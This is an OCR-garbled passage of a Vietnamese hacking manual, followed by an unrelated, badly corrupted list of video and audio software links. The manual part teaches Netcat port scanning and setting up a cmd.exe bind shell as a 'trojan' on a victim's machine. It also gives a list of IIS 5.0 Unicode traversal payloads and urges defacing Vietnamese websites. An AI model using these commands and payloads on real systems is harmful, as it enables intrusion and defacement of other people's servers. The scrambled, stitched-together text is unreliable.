    • Các tùy chọn của Netcat: á etcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số: CODE C:\> nc -h connect to somewhere: nc [-options] hostname port [ports]... listen for inbound: nc -l -p port [options] [hostname] [port] options: -dq --- tách â etcat khỏi cửa số lệnh hay là console, á etcat sé chạy ở chế độ steath (không hiền thị trên thanh Taskbar) -e prog - thi hành chương trình prog, thường dùng trong chế độ lắng nghe -h - goi huóng dan -] secs - trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi -l - dat a etcat vao ché dó lang nghe dé chó các két nói dén -L ---- buóc à etcat có'' láng nghe. á ó sé lang nghe trở lại sau mỗi khi ngắt mót két nói He chi düng dia chi IP ó dang só, cháng han nhu 192.168.16.7, 4 etcat sé khóng thám ván Dá S -0 ---- file ghi nhát kí vào file -p port - chi dinh cóng port -r yêu càu á etcat chon cóng ngàu nhién(random) -s addr - gid mao dia chi IP nguón là addr -t - không gởi các thông tin phụ di trong một phiên telnet. Khi ban telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. â ếu bạn sử dụng netcat với tùy chọn -t dé telnet, netcat sẽ không gởi các thông tin này đến telnetd. -U - dùng UDP(mặc định netcat dùng TCP) -V - hién thi chi tiét các thóng tin vé két nói hién tai. -VV --- sẽ hiển thị thông tin chỉ tiết hơn nữa. -w secs đặt thời gian timeout cho mỗi két nói là secs mili giây -Z - ché dó zero I/O, thường được sử dụng khi scan port 99 KY THUAT DIEa TOAA â etcat hỗ trợ phạm vi cho số hiệu công. Cú pháp là côổngI-công2. Ví du: 1-8080 nghia là 1,2,3,..,8080
    • Tim hiéu Netcat qua các VD: Chóp banner cüa web server: Ví du: nc dén 172.16.84.2, cóng 80 CODE C:\ > nc 172.16.84.2 80 HEAD / HTTP/1.0 (tai đây bạn gõ Enter 2 lần) HTTP/1.1 200 OK Date: Sat, 05 Feb 2000 20:51:37 GMT Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod ssl/2.8.2 OpenSSL/0.9.6 PHP/4.0.4pl1 Connection: close Content-Type: text/html Để biết thông tin chi tiết về kết nối bạn có thé ding -v (-w sé cho biết các thông tin chi tiết hơn nữa) C:\> ne -vv 172.16.84.1 80 CODE 172.16.84.1: inverse host lookup failed: h_errno 11004: å O DATA (Ua Ka OW4 ) [172.16.84.1] 80 (2) open HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 04 Feb 2000 14:46:43 GMT Server: Apache/1.3.20 (Win32) Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT ETag: ‘’0-cec-3899eaea”’ Accept-Ranges: bytes Content-Length: 3308 Connection: close Content-Type: text/html sent 17, revd 245: 4 OTSOCK ä êu muốn ghi nhật ký, hãy dùng -o. Ví du: nc -vv -o nhat ki.log 172.16.84.2 80 xem file nhat ki.log xem thử nó đã ghi những gì nhé: CODE « 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK. « 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 #.Date: Fri, 04 F < 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54 « 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap < 00000040 61 63 68 65 2£ 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win « 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi « 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb « 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM « 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: 0-cec- « 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea..Accep « 00000020 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 Od # t-Ranges: bytes. < 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a #.Content-Length: « 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f t 3308..Connectio « 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten 100 KY THUAT DIEa TOAA « 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d $t t- Type: text/htm < 00000070 óc 0d 0a 0d 0a # [.... dấu < nghĩa là server gởi đến netcat dấu > nghĩa là netcat gởi đến server Quét cổng: Bạn hãy chạy netcat với tùy chọn -z. â hưng đề quét công nhanh hơn, bạn hãy dùng -n vì netcat sẽ không cần thấm vấn Dã S. Ví dụ dé scan các cổng TCP(1- > 500) của host 172.16.106.1 CODE [dt@vicki /]# ne -nvv -z 172.16.106.1 1-500 (Ua Ka OW4 ) [172.16.106.1] 443 (?) open (Ua Ka OW4 ) [172.16.106.1] 139 (?) open (Ua Ka OW4 ) [172.16.106.1] 111 (?) open (Ua Ka OW4 ) [172.16.106.1] 80 (?) open (Ua Ka OW4 ) [172.16.106.1] 23 (2) open a éu ban can scan các cóng UDP, ding -u CODE [dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500 (Ua Ka OWA ) [172.16.106.1] 1025 (?) open (Ua Ka OW4 ) [172.16.106.1] 1024 (?) open (Ua Ka OWA ) [172.16.106.1] 138 (?) open (Ua Ka OW4 ) [172.16.106.1] 137 (?) open (Ua Ka OWA ) [172.16.106.1] 123 (?) open (Ua Ka OW ) [172.16.106.1] 111 (2) open Bién a etcat thành mót trojan: Trén máy tính cüa nan nhan, ban khói dóng netcat vào ché dó láng nghe, düng tüy chọn -l ( listen ) và -p port dé xác định số hiệu cổng cần lắng nghe, -e đề yêu cầu netcat thi hành 1 chuong trinh khi có 1 két nói đến, thường là shell lệnh emd.exe ( đối với à T) hoác /bin/sh(dói vói Unix). Vi du: CODE E:\ > nc -nvv -l -p 8080 -e cmd.exe listening on [any] 8080... connect to [172.16.84.1] from (Uá Ká OWá ) [172.16.84.1] 3159 sent 0, revd 0: unknown socket error Trên máy tính dùng đề tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chăng hạn như 8080 CODE C:\ > ne -nvv 172.16.84.2 8080 (Ua Ka OW ) [172.16.84.2] 8080 (?) open Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. E: cd test cd test E:\test > dir /w dir /w Volume in drive E has no label. Volume Serial 4 umber is B465-452F Directory of E:\test [.] [..] head.log 4 ETUSERS.EXE 4 etView.exe ntcrash.zIP password.txt pwdump.exe 101 KỸ THUẬT ĐIỆẩ TOÁä 6 File(s) 262,499 bytes 2 Dir(s) 191,488,000 bytes free C:\test > exit exit sent 20, revd 450: a OTSOCK â hư các bạn đã thấy, ta có thể làm những gì trên máy của nạn nhân rồi, chỉ cần một số lệnh cơ bản, ta đã chiếm được máy tính của đối phương, các bạn hãy xem tiếp nhé: CODE E: 7 ne -nvv -L -p 8080 -e cmd.exe listening on [any] 8080...? 9 Riêng đối với ẩ etcat cho Win, bạn có thể lắng nghe ngay trên công đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa chỉ IP của máy này >. Ví dụ: CODE netstat —a TCP nan nhan:domain nan nhan:0 LISTEÀ Iå G — cóng 53 dang láng nghe EA 7 nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - > lang nghe ngay trén cong 53 listening on [172.16.84.1] 53... connect to [172.16.84.1] from (Ua Ka OW4 ) [172.16.84.1] 3163? 9 Trén Windows aT, để đặt â etcat ở chế độ lắng nghe, không can phải có quyền Administrator, chi can login vao voi 1 username binh thường khởi động â etcat là xong. Chú ý: bạn không thé chay netcat vói.. -u -e cmd.exe... hoác...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. â éu bạn muốn có một UDP shell trén Unix, hày dùng udpshell thay cho netcat. 49.- Kỹ thuật hack IIS server 5.0: | IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi dé ta có thé khai thác, do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước tôi không đề cáp dén. Báy gió tói sé bày các ban cách hack thóng qua cóng cu activeperl và IE, các bạn có thể vận dụng cho các trang Web ở VẢ. vì chúng bị lỗi này rất nhiều. Ta hãy bắt đầu nhé. Trước hết các bạn hãy download activeperl và Unicode.p. Su dung telnet dé xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không: CODE telnet « tén trang Web > 80 GET HEAD / HTTP/1.0 â êu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các công khác như 8080, 81, 8000, 8001.v.v... Sau khi đã xác định được mục tiêu các ban vào DOS gò: CODE perl unicode.pl Host: ( gó dia chi server mà các ban muón hack ) Port: 80 (hoặc 8080, 81, 8000, 8001 tùy theo cóng mà ta dà telnet trước đó). Các bạn sẽ thấy bảng liệt kê lỗi (đã được lập trinh trong Unicode.pl) như sau: CODE [1] /scrIPts/..%cO%af../winnt/system32/cmd.exe?/c+ [2]/scrIPts..%c1%9c../winnt/system32/cmd.exe?/c+ [3] /scrIPts/..%c1%pc../winnt/system32/cmd.exe?/c+ 102 KỸ THUẬT ĐIỆẩ TOÁä [4]/scrIPts/..Yoc0%9v../winnt/system32/cmd.exe?/c+ [5] /scrIPts/..%cO%qf../winnt/system32/cmd.exe?/c+ [6] /scrIPts/..%c1%8s../winnt/system32/cmd.exe?/c+ [7] /scrIPts/..%c1%1c../winnt/system32/cmd.exe?/c+ [8] /scrIPts/..%c1%9c../winnt/system32/cmd.exe?/c+ [9] /scrIPts/..%c1 %af../winnt/system32/cmd.exe?/c+ [10] /scrIPts/..%e0%80%af../winnt/system32/cmd.exe?/c+ [11]/scrIPts/..%f0%80%80%af../winnt/system32/cmd.ex e?/c+ [12] /scrIPts/..%f8%80%80%80%af../winnt/system32/cmd.exe ?/c+ [13 ]/scrIPts/..%fc%80%80%80%80%af../winnt/system32/ cmd.exe?/c+ [14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\Yoaf../winnt/system32/cm d.exe?/c+ [15]/cg1-bin/..%oc0%af..%oc0%af..⁄oc0%af..⁄oc03%af..⁄oc0% af../winnt/system32/cmd.exe?/c- [16]/samples/..%oc0%af..⁄ec0%af..oc0%af..%oc0%af..oc0%af../winnf/system32/cmd.e xe?/c+ [17]/1isadmpwd/..%c0%af..⁄oc0%af..⁄oc0%oaf..oc0%af..%oc0%af../winnt/system32/cm d.exe?/c+ [18]/ vti cnf..⁄sc0%af..⁄oc0%af..oc0%af..%oc0%af..⁄oc0%af../winnf/system32/cmd.e xe?/c+ [19]/ vti_bin/..%cO%af..%cO%af..%cO%af..YocO%af..YocO%af../winnt/system32/cmd.e xe?/c+ [20]/adsamples/..oc0%af..%oc0%af..⁄oc0%af..⁄oc0%af..oc0%af../w1nnt/system32/cm d.exe?/c+ Cac ban sé thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy, nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và I7 mà thói. Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7, tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address: http://www.xxx.com/scrIPts/..%c1%p_ c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3 hoặc z http://www.xxx.com/scrIPts/..%c1%1_c../winnt/system32/cmd.exe?/c+ < == lói dòng thú 7 Dén đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này. Thông thường các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồi thì chỉ cần thay index.html vói tên hack by ...Là được rồi , đừng quậy họ nhé. TOÀN BO WEBSITER CHO VIDEO Adobe ADITA Video Inc. https://www.adita.com/premiere6.htm Adobe Magazine http://www.adobe.com/products/adobemag/archive/qaprem.html

      Adobe Title DeSIgher ko wwe video Steam Tutorial AE Portal http://msp.sfsu.edu/Instructors/rey/aepage/aeportal.html AEFlame http://neosapien.net/flame 103 KỸ THUẬT ĐIỆẩ TOÁä After Effects 5.5 http://www.adobe.com/products/aftereffects After Effects 5.5: Creating a showreel After Effects EXPert, tp:/studio.adobe.com/eXPertcenter/aftereffects web link Center d Ese ttd wd el esitare Freemart Cinematographe http://www.cinematographe.com/dig video/index.htm CyberMotion http://www.cybmotion.com n Ee Tutorials Foss : ME spaceports dorifossitutotials ulnas hui Productions Myks Video Pages — http://www.mykaskin.freeserve.co.uk/myksvideopages Photoshop E ps7 Roadshow Photoshop 7.01 http://www.adobe.com/products/photoshop/ Photoshop Elements 2.0 Pinnacle Systemshttp://www.commotionpro.com/support/downloads/index.html (Dead Free Downloads Site*) Premiere 6.5 http://www.adobe.com/products/premiere Poma y ocon niet end avisynth import filter 1.1b Premiere Ettelbr eXPertcenter/premiere http://www.adobe.com/products/photoshopel Center Prolux Premiere Ont pe aay. Bo prolix cam trora Kin Tutorials Software Cinema _http://www.software-cinema.com Software Video http://www.softwarevideo.com Stephen Schleicher http://www.mindspring.com/-schleicher Sterling Ledet & Associates Steven Gotz http://www.stevengotz.com/premiere.htm SureFire Tutorials http://www.surefiretutorials.com Tools for Television. Photoshop Toolbox Total Training http://www.totaltraining.com/Demo/videos.html TriLab Produtions — http://www.animationsforvideo.com/html/tutorials.htm Using a frameserver between | Premierehttp://dvd-hq.info/Frameserver.html http://www.ledet.com/coolstuff/software/ http://www.toolsfortelevision.com and TMPGEnc VideoTidbits http://www.videotidbits.com Wrigley Video EE Premiere Tutorials Animation Aa I-MATO http://www.sci.fi/~animato Animé8or 0.81 http:/Awww.anim8or.com/main/index.html Animation Bureau — http://www.animationbureau.com 104 KY THUAT DIEa TOAA Animation Wer iat arena conn 4 etwork Brickfilms http://www.brickfilms.com CG-Char http://www.cg-char.com/cgi-bin/ikonboard/ikonboard.cgi Machinima: shooting film in virtual reality StopMotionAnimatio n Message Board Tales Animator http://www.dollysoft.com The Clay Animation & Stop Motion Howhttp://www.animateclay.com http://www.machinima.com http://www.stopmotionanimation.com To Page Audio A 48 vs. 96 kHz http://www.digitalprosound.com/Htm/SoapBox/soap2_Apogee.htm AC-3 ACM Decompressor byhttp://fechandler.home.comcast.net/AC3 ACM/index.html fecHandler AC3Filter 0.70b http://ac3filter.sourceforge.net Amsterdam Catalog of Csound Computerhttp://wings.buffalo.edu/academic/department/AandL/music/pub/accci Instruments AnalogX http://www.analogx.com/contents/download/audio.htm ardour 0.9 beta 2 (Linux) Audacity 1.2.0-pre3 http://audacity.sourceforge.net BeSweet 1.5b23 / BeSweet GUI 0.7b2 http://dspguru.notrace.dk/ http://ardour.sourceforge.net cSounds http://www.csounds.com Danni Din http://go.to/DanniDin Digital Elements Ss VST Å oise Gate http://www.digitalelements.be/download.htm Digital Playroom _http:/Awww.dplay.com Discussion of Audion ty. //

      f173 net

      Compression DIY Project # 5 - The Thrifty Thumperhttp://www.hometheaterhifi.com/volume 4 4/thriftythumper.html (Subwoofer) diyAudio http://www.diyaudio.com Poeman PROBE lulu.esm.rochester.edu/onlinedocs/allan.cs Tutorial echochamber http://www.echochamber.ch/ doi PADO EE Editor FindSounds http://www.findsounds.com Free Cubase VST Plug Ins FX ReSound http://www.jhepple.com/resound.htm Gabriel Maldonado http://csounds.com/maldonado HeadAC3he 0.23a http:;//darkav.de.vu http://209.211.248.205/software/vstplugs/p1.cfm 105 KỸ THUẬT ĐIỆẩ TOÁä s e: C ^http:/www.kellyindustries.com/diy 5 |.html Hydrogen Audio http://www.audio-illumination.org/forums/ Hypercube DTS/WAV Filter 1.0.0.2 / Transcoder

      h:/bypercubemx. free.fr

      3.04 K-v-R http://www.kvr-vst.com mda-vst http://www.mda-vst.com MIDI Ring http://ubikmusic.com/midiring/ MusicMachines http://www.musicmachines.net (Dead site*) a amp 1.2 http://www.divx-digest.com/software/namp.html a olv's Software http://nolv.free.fr/nolvsite/software.html normalize 0.25 http://www.neonl .net/prog/normalizer.html normalize 0.7.6 p: CS. ja. ~CVaI i (altemate methad) http://www 1.cs.columbia.edu/~cvaill/normalize á ormalizeGUI 0.2 — http://www.divx-digest.com/software/normalize gui.html Pers-o-FrontEnd 4 à ormalize 1.1 Pro Tools FREE Eric. S e . 9 a 501 (Win98 Dno e 00130222 nà TS overview.cfm?product id-12 only) EET Quartz AudioMaster A link Freeware 4.6 —— Ressl Engineering — http://www.ressl.com.ar/ Shibatch Audio http://www.perso.com.ar http://shibatch.sourceforge.net Tools Soundkeeper http://www.soundkeeper.com (Dead site*) TFM Audio Filter, J P 1.0 Beta 8 WWW. e 3 Decay ler tt ://www.deelong.com/deesampler.htm The DirectX Files — http://www.thedirectxfiles.com The MIDI Farm http://www.midifarm.com VSTi : Ee Collection Mộ V-à ormalizer http://www.linearteam.dk/default.aspx?pageid=wavnormalizer um 240 bela ee SE El plug-in Audio - MP2/3 A BeSweet 1.5b23 / BeSweet GUI 0.7b2 http://dspguru.notrace.dk/ Danni Din http://go.to/DanniDin Dmitry Kutsanov T : p: .cjb. (L.A.ME. 3.93.1) http://mitiok.cjb.net Does joint-stereohttp://andreas.welcomes-you.com/projects/dv/index.html 106 KY THUAT DIEa TOAA destroy Dolby Surround information ? Encode peaks Ee and Visualization EncSpot 2.01 http://www.guerillasoft.nstemp.com/EncSpot2 (Dead-site:) HeadAC3he 0.23a htfp://darkav.de.vu MAD: MPEG Audio Decoder Martin Pesch http://www.rz.uni-frankfurt.de/~pesch MP3ext 3.4b21 http://odin.mutschler.de/mp3ext MP3Gain 1.2.1 beta http://www.geocities.com/mp3 gain MP3trim I.86bl / i WAVtrim 2.00 http://www.logiccell.com/~mp3trim MP3WAV 1.0 http://www.divx-digest.com/software/mp3wav.html MPEG AUOD tie Aaa bi tra Scissors 1.4 r3mix.net http://users.belgacom.net/gc247244/ (Dead site*) RazorLAME 1.15 _http://www.dors.de/razorlame tooLAME 0.2h http://www.flexion.org/audio/toolame (Dead site*) tooLAME 0.21 beta http://www.underbit.com/products/mad/ 02 http://mikecheng.d2.net.au winLAME rc3 http://winlame.sourceforge.net Audio - Ogg Vorbis A BeSweet 1.5b23 Jr |. BeSweet GUI 0.7b2 http://dspguru.notrace.dk/ Danni Din http://go.to/DanniDin HeadAC3he 0.23a hftfp://darkav.de.vu Koepi http://www.roeder.goe.net/~koepi Ogg Vorbis 1.0.1 http://www.vorbis.com OggMux 0.9.5.1 http://oggmux.sourceforge.net/ Tobias' DirectShow Filters for | Ogghttp://tobias.everwicked.com Vorbis 0.9.9.5 "SG $ E een AVI A ABC VideoRoll http://www.abe-tv.com/dv_ABC.html (Dead site*) e 2 Tag Editor itt ://kibus1.narod.ru/frames eng.htm?sof/abcavi/index.htm Alparysoft Cleaner for Amateur Video http://www.alparysoft.com/prod/video-cleaner.php 0.1 beta build 258.030508 AM Software http://www.am-soft.ru AVI Fixed 2.0 beta | http://www.divx-digest.com/software/avifix.html VT EOM Ode oS WR Lama es ivo download.shtml Changer 107 KỸ THUẬT ĐIỆẩ TOÁä AVI Frame Rate, tp://www.itimatrix.com/files/avifrate download.shtml Changer AVI Info http://www.divx-digest.com/software/terabits avi info.html AVI Splitter 1.21 http://www.brizsoft.com/avisplit AVI-Mux GUI ; 1.15.6 web link Avi2Bmp http://www.daansystems.com/freestuff AVIcodec 1.1.0.3 http://avicodec.duby.info/ Avidemux 2.0.14 (Linux) AviFiXP 0.2.2.5 http://www.divx-digest.com/software/avifiXP.html AVIJoin 0.1.0.1 http://avijoin.sourceforge.net http://fixounet.free.fr/avidemux AVIUtI 0.99 (Translation inhttp://ruriruri.zone.ne.jp/aviutl Progress) Aviutl Introduction (Translation inhttp://aetermv.hp.infoseek.co.jp/aviutl.shtml Progress) AviUtl Plugin Guide (Translation inhttp://www.k]ps.net/user/r2-m2/clare/dtv/aviutlpg.html Progress) or Resize Eeer resize filter.html CamStudio 2.0 http://www.rendersoftware.com CapDVHS 0.3.0.6 (Translation inhttp://member.nifty.ne.jp/kishio/ Progress) compressAvi 1.05 — http://www.geocities.com/compressavi Converting AVI M) : ; : p: .ai.mit. peop yg/p pp Files to PPM http://www.ai.mit.edu/people/dalleyg/presentations/avitoppm CyberLink PowerProducer 1.1 http://www.gocyberlink.com/english/event_2003/dg-world/index.htm FREE!! DVD2AVI 1.77.3 http://arbor.ee.ntu.edu.tw/~jackei/dvd2avi DRM . http://www.divx-digest.com/software/dvd2avi.html (Enhanced versions) FlaskMPEG 0.7.8.39 http://www.flaskmpeg.net Frame Capture http://www.jhepple.com/frame_capture.htm GSpot 2.21 build p: : ; gsp 030711 http://www.headbands.com/gspot ICZ (Translation ID http://cwaweb.bai.ne.jp/-icchan/icz.htm Progress) lvan Uskov's . p: : : EE http://www.iulabs.com Movie Type Finder, Aë 10 http://www.geocities.com/polygraphx/polyvid/products.html ae e dod/wwseaisünecon/Products/ Movie X one asp (Dead site*) MPEG2AVI http://www.divx-digest.com/software/mpeg2avi.html Stoik Videohttp://www.divx-digest.com/software/stoik_video_converter.html 108 KY THUAT DIEa TOAA Converter 1.0 VFAPI Reader Codec + Converterhttp://www.divx-digest.com/software/vfapi.html 1.05 Video2Photo http://www.pixelchain.com/video2photo VideoScope 1.2 http://www.dynapel.com/com/private/vs_overview.htm Zwei-Stein 3.01 http://www.thugsatbay.com/zweistein AVI - AviSynth A SC 20.8 geogr zstieergh o AviSynth 2.5.2 CVS : . p: E j ; p y . September 3 (2003) http://cultact-server.novi.dk/kpo/avisynth/avs cvs.html AviSynth Deeg Collection Alexander G-nttp://bag.hotmail.ru Balaknnin Averaging two analog captures forhttp://forum.doom9.org/showthread.php?s-&threadid-28438 noise reduction AviScrIPt 2.0 http://www.aviscrIPt.de Avisynth GUI Stereoscopic Videohttp://web.onetel.net.uk/~gedburnell/3dvideo.htm ScrIPt Writer Avisynth vertical alignment correction scrIPt forhttp://web.onetel.net.uk/~gedburnell/video.htm Stereoscopic 3D video AviSynthEditor 0.3 beta / AviSynthhttp://www.lalternative.org Switcher 0.2 AVS2AVI Command Line : : Oe Z tiy Lia a qhttp://forum.doom9.org/showthread.php?s &threadid=36768 GUI AVSGenie 0.2.5.16 http://www.yeomanfamily.demon.co.uk/avsgenie/avsgenie.htm Ben Rudiak Gould web link (Mirror) Convolution 3D 1.01 http://hellninjacommando.com/con3d D@rk$oul's ] * p: i S ger. : ( ) AVSGen 1.8beta http://home.debitel.net/user/holger.beetz/AVSGEN.htm (Down DarkSmoother http://forum.doom9.org/showthread.php?s=&threadid=56517 Dividee's Filters http://users.win.be/ws200482/ Donald Graft http://neuron2.net Donald Graft's Anti- ` % I= = Flicker Filter http://forum.doom9.org/showthread.php?s=&threadid=40293 Frame a umber. ; S I=
      Superimpose ScrIPts http://forum.doom9.org/showthread.php?s=&threadid=53898 Frameserving -http://forum.doom9.org/showthread.php?s=&threadid=47194 109 KỸ THUẬT ĐIỆẩ TOÁä Avisynth 2.5 to Vegas/other apps http://students.washington.edu/Idubb/computer/Read Me Guava Comb Guava Comb den IVTCA 1.01 http://www.geocities.com/daxab88 JPGVideo 1.04.0.0 — http://www.ndrw.co.uk/free/]pgvideo Kevin Atkinson http://kevin.atkinson.dhs.org kurosu http://kurosu.inforezo.org/avs/ lefungus http://perso.wanadoo.fr/reservoir MarcFD http://ziquash.chez.tiscali.fr Mathias Born http://me.in-berlin.de/faphida (Dead site*) MPEG-2 AviSynth http://www.doom9.org http://www.labdv.com plugin (mpeg2dec) mtLoen-0-32 mf's AVS Dumpster http://mf.creations.nl/avs mfToon EXPlanation http://mf.onthanet.com/linedarkening MIPSmooth 1.1.1 http://cultact-server.novi.dk/kpo/avisynth/MIPSmooth.html MrTibs http://www.geocities.com/mrtibsvideo/ & ic's XviD Binaries. http://nic.dnsalias.com s d 3 3 "Intip;//forum.doomO.org/showthread.php?s-&threadid-58674 SansGrIP's Avisynth Filters Scharfi's Brain http://home.arcor.de/scharfis brain Sébastien Lucas http://membres.lycos.fr/tempask http://www.jungleweb.net/~sansgrIP/avisynth Simon Walters http://www.geocities.com/siwalters uk/fnews.html SmokesLikeaPoet http://smokeslikeapoet.d2g.com (Dead site*) Standards Conversion ScrIPthttp://forum.doom9.org/showthread.php?s=&threadid=35387 (PAL<->a TSC) stickboy's AviSynth http://www. avisynth.org/stickboy Stuff SwiftAVS 1.10 http://www.swiftavs.net Tom Barry http://mywebpages.comcast.net/trbarry Videographica: I p: g : i y AVISynthesizer 0.7 http://tangentsoft.net/video/asynther Warp Enterprises — http://members.aon.at/archi/warpenterprises (Dead site*) AVI - AviSynth ENGLISH TRANSLATION IN PROGRESS!!! (Japanese) Gå B http://homepage2.nifty.com/Gå B/ Kiraru2002's room — http://members.at.infoseek.co.]p/kiraru2002 niiyan http://niiyan.s8.xrea.com/avisynth/warpsharp plugin.shtml nullinfo http://nullinfo.s21.xrea.com warpsharp 2003 0903http://www.geocities.co.jp/SiliconValley-PaloAlto/2382 AVI - VirtualDub (Wish List) = VirtualDub 1.5.10 — http://www.virtualdub.org VirtualDub http://virtualdub.sourceforge.net 110 KY THUAT DIEa TOAA (SourceForge) Modified VirtualDub Capture Routinehttp://www-user.rhrk.uni-kl.de/-dittrich/sync 1 5 04 syncl 04 TT VOÓ _ húpz/vinualdubmodsoureeforge.net VirtualDubMod 1.5.1.x audio fix &http://es.geocities.com/dextstuff/ asf (19/05/03) Donal one (malt ishelob-mardor tiet/dgraft filter site) Alain Vielle http://www.xs4all.nl/-vielle/video Alessandro Malanca http://web.tiscali.it/no-redirect-tiscali/minomala/ Alparysoft http://www.alparysoft.com/prod/video-cleaner.phtml An Technica Ee guide/audio-visual/videocapturing/vidcap-1.html Video Capture Avi2ascii http://askywhale.free.fr/avi2ascii Chir http://www.geocities.com/chir geo/dub Chris LaRosa http://www.geocities.com/cplarosa/video Chris Wojdon http://republika.pl/voidon/ CodecPage http://www.codecpage.com Daniel Vollmer http://www.maven.de/code David Roden http://todesbaum.dyndns.org/software/ DeXT's Stuff http://es.geocities.com/dextstuff Dividee's Filters http://users.win.be/ws200482/ pu http://wwwtcs.inf.tu-dresden.de/~dc 1/conditional Schamschurko Donald Graft http://neuron2.net DubMan 0.8 http://dubman.sourceforge.net Emiliano Ferrari http://www.deepabyss.org/Emiliano EOD's VirtualDub : http://eodvdf.cjb.net Filter fecHandler (VirtualDub- p: . ; ` MPEG2 15.1 ott //fcchandler.home.comcast.net build 18160) flaXen Vrau aardi onvat Filters Frameserving from VDub to Vegas/otherhttp://forum.doom9.org/showthread.php?s=&threadid=47483 apps fun with Temporal http://www.undercut.org/articles/temporalfilter.html Cleaner Gabest http://www.gabest.org Gilles Mouchard http://freevcr.ifrance.com/freevcr/index-en.html Gunnar Thalin http://bIPhome.spray.se/gunnart/video Jim Casaburi http://home.earthlink.net/~casaburi/download MPEG-2— Upgrade 111 KỸ THUẬT ĐIỆẩ TOÁä Parser http://askywhale.free.fr/avi2ascii/parser.html Peter Schweizer web link Poopity Poop's magical Animehttp://web.syr.edu/~tjmyers/animefilters.html filters:) Rising Research http://www.risingresearch.com/en/ ScrlPted VirtualDub job Gases http://www.ericphelps.com/scrIPting/samples/VirtualDub/index.html Shaun Faulds http://www.digtv.ws Simon Walters http://www.geocities.com/siwalters uk/fnews.html SmokesLikeaPoet http://smokeslikeapoet.d2g.com (Dead site*) Steve 4 oyce http://home.comcast.net/~sanoyce Steven Don http://www.shdon.com Thomas Hargrove http://toonarchive.com Tim Park http://www.doki.ca/filters Tom Ford http://www.ox.compsoc.net/-flend/virtualdub Uwe Freese http://www .uwe-freese.de/vdubfilters.html Valentim Batista http://www.geocities.com/gc timsara/ VeryWetPaint http://home.earthlink.net/-tacosalad/video Xesdeeni's Web Page (Standards http://www.geocities.com/xesdeeni2001 Conversion) Jet E Noise, tp://efenstor.stratopoint.com/yane.htm Extenuator Yang Yudong http://pcvideo.trIPod.com/download.htm Axogon Composer A Axogon http://www.axogon.com ON Composer web inl Axogon Comp OSCThttp://axogon].hypermart.net/forum/forum.cgi User-to-User Forum Axogon Loops http://users.rcn.com/rofrano/Video/Axogon Loops/axogon loops.html BricksInMotion http://mywebpages.comcast.net/tomfoote3/BIM/id71.htm Purring Studios http://www.purringstudios.com/tutorials/axtutoriall.htm TFà FanFilms http://theforce.net/theater/software/axogon/ Canopus A Canopus ADVC-100 Customer Reviews het p: I pus. p ilities/p ilities. Canopus DV. Utilities?" //www.canopus.com/US/products/free utilities/om free utilities.as web link Canopus Tutorial, || . : Aches http://www.canopus.com/US/support/support tutarchives.asp Canopus Tutorials — http://www.canopus.com/US/support/support tutorials.asp CODECs A Alparysoft Lossless - Video Codec l.5http://www.alparysoft.com/prod/compression/lossless-video- beta buildcodec.php 748.31128 112 KỸ THUẬT ĐIỆẩ TOÁä CamStudio Losslesshttp://www.rendersoftware.com/products/camstudio/codecs.htm Codec 1.0 (Dead site*) HuffYUV 2.1.1 (Mirror) HuffYUV 2.4 CCESP Patch 9.2.2. BÜp//doom?.org loco004 Lossless YV12 Codec On2 (VP6) http://www.on2.com TechSmith OCICS eegen Capture Codec VBLE Losslesshttp://forum.doom9.org/showthread.php?s-&postid—3 190817 post31908 YV12 Codec 1 YMPEG 0.2 Alpha http://www.geocities.com/ymotiwala/ympeg.html http://neuron2.net/www.math.berkeley.edu/benrg/huffyuv.html 